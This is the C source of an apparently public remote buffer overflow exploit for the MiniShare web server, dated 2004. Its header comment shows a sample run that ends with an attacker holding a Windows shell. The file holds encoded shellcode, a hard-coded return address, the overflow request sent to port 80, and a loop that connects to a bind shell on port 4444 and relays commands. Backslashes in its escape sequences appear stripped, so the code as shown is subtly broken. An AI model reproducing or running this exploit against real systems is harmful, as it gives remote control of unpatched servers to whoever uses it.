/*
no@0x00:~/Exploits/minishare$ ./mini-exploit 10.20.30.2

***MiniShare remote buffer overflow UNIX exploit by NoPh0BiA.***

[x] Connected to: 10.20.30.2 on port 80.
[x] Sending bad code..done.
[x] Trying to connect to: 10.20.30.2 on port 4444..
[x] 0wn3d!

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

E:Program FilesMiniShare>

Greetz to NtWaK0,kane,kamalo,foufz, and schap :)
http://NoPh0BiA.lostspirits.org

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <fcntl.h>

#define PORT 80
#define PORT1 4444
#define RET "xB8x9ExE3x77" /*2k sp2*/

char shellcode[]=
"xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17x34x0a"
"x2fxfdx83xebxfcxe2xf4xc8xe2x79xfdx34x0ax7cxa8x62"
"x5dxa4x91x10x12xa4xb8x08x81x7bxf8x4cx0bxc5x76x7e"
"x12xa4xa7x14x0bxc4x1ex06x43xa4xc9xbfx0bxc1xccxcb"
"xf6x1ex3dx98x32xcfx89x33xcbxe0xf0x35xcdxc4x0fx0f"
"x76x0bxe9x41xebxa4xa7x10x0bxc4x9bxbfx06x64x76x6e"
"x16x2ex16xbfx0exa4xfcxdcxe1x2dxccxf4x55x71xa0x6f"
"xc8x27xfdx6ax60x1fxa4x50x81x36x76x6fx06xa4xa6x28"
"x81x34x76x6fx02x7cx95xbax44x21x11xcbxdcxa6x3axb5"
"xe6x2fxfcx34x0ax78xabx67x83xcax15x13x0ax2fxfdxa4"
"x0bx2fxfdx82x13x37x1ax90x13x5fx14xd1x43xa9xb4x90"
"x10x5fx3ax90xa7x01x14xedx03xdax50xffxe7xd3xc6x63"
"x59x1dxa2x07x38x2fxa6xb9x41x0fxacxcbxddxa6x22xbd"
"xc9xa2x88x20x60x28xa4x65x59xd0xc9xbbxf5x7axf9x6d"
"x83x2bx73xd6xf8x04xdax60xf5x18x02x61x3ax1ex3dx64"
"x5ax7fxadx74x5ax6fxadxcbx5fx03x74xf3x3bxf4xaex67"
"x62x2dxfdx25x56xa6x1dx5ex1ax7fxaaxcbx5fx0bxaex63"
"xf5x7axd5x67x5ex78x02x61x2axa6x3ax5cx49x62xb9x34"
"x83xccx7axcex3bxefx70x48x2ex83x97x21x53xdcx56xb3"
"xf0xacx11x60xccx6bxd9x24x4ex49x3ax70x2ex13xfcx35"
"x83x53xd9x7cx83x53xd9x78x83x53xd9x64x87x6bxd9x24"
"x5ex7fxacx65x5bx6exacx7dx5bx7exaex65xf5x5axfdx5c"
"x78xd1x4ex22xf5x7axf9xcbxdaxa6x1bxcbx7fx2fx95x99"
"xd3x2ax33xcbx5fx2bx74xf7x60xd0x02x02xf5xfcx02x41"
"x0ax47x0dxbex0ex70x02x61x0ex1ex26x67xf5xffxfd";

struct sockaddr_in hrm;

void shell(int sock)
{
fd_set fd_read;
char buff[1024];
int n;

while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);

if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

if( FD_ISSET(sock, &fd_read) ) {
n=read(sock,buff,sizeof(buff));
if (n == 0) {
printf ("Connection closed.n");
exit(EXIT_FAILURE);
} else if (n < 0) {
perror("read remote");
exit(EXIT_FAILURE);
}
write(1,buff,n);
}

if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<=0){
perror ("read user");
exit(EXIT_FAILURE);
}
write(sock,buff,n);
}
}
close(sock);
}

int conn(char *ip, int p)
{
int sockfd;
hrm.sin_family = AF_INET;
hrm.sin_port = htons(p);
hrm.sin_addr.s_addr = inet_addr(ip);
bzero(&(hrm.sin_zero),8);
sockfd=socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr))) < 0 )
{
perror("connect");
exit(0);
}
return sockfd;
}

int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Usage: TARGET.n");
exit(0);
}
char *buffer = malloc(2220),*B=malloc(30),*target=argv[1];
int x,y;
printf("n***MiniShare remote buffer overflow UNIX exploit by NoPh0BiA.***nn");
memset(buffer,'',2220);
memset(B,0x42,30);
memset(buffer,0x41,1787);
strcat(buffer,RET);
strcat(buffer,B);
strcat(buffer,shellcode);
if((x = conn(target,PORT)))
printf("[x] Connected to: %s on port %d.n",target,PORT);
sleep(3);
printf("[x] Sending bad code..");
write(x,"GET ",4);
write(x,buffer,2220);
write(x," HTTP/1.1rnrn",13);
sleep(3);
printf("done.n");
printf("[x] Trying to connect to: %s on port %d..n",target,PORT1);
if((y=conn(target,PORT1)))
{
printf("[x] 0wn3d!nn");
shell(y);
}

}

// www.Syue.com [2004-11-16]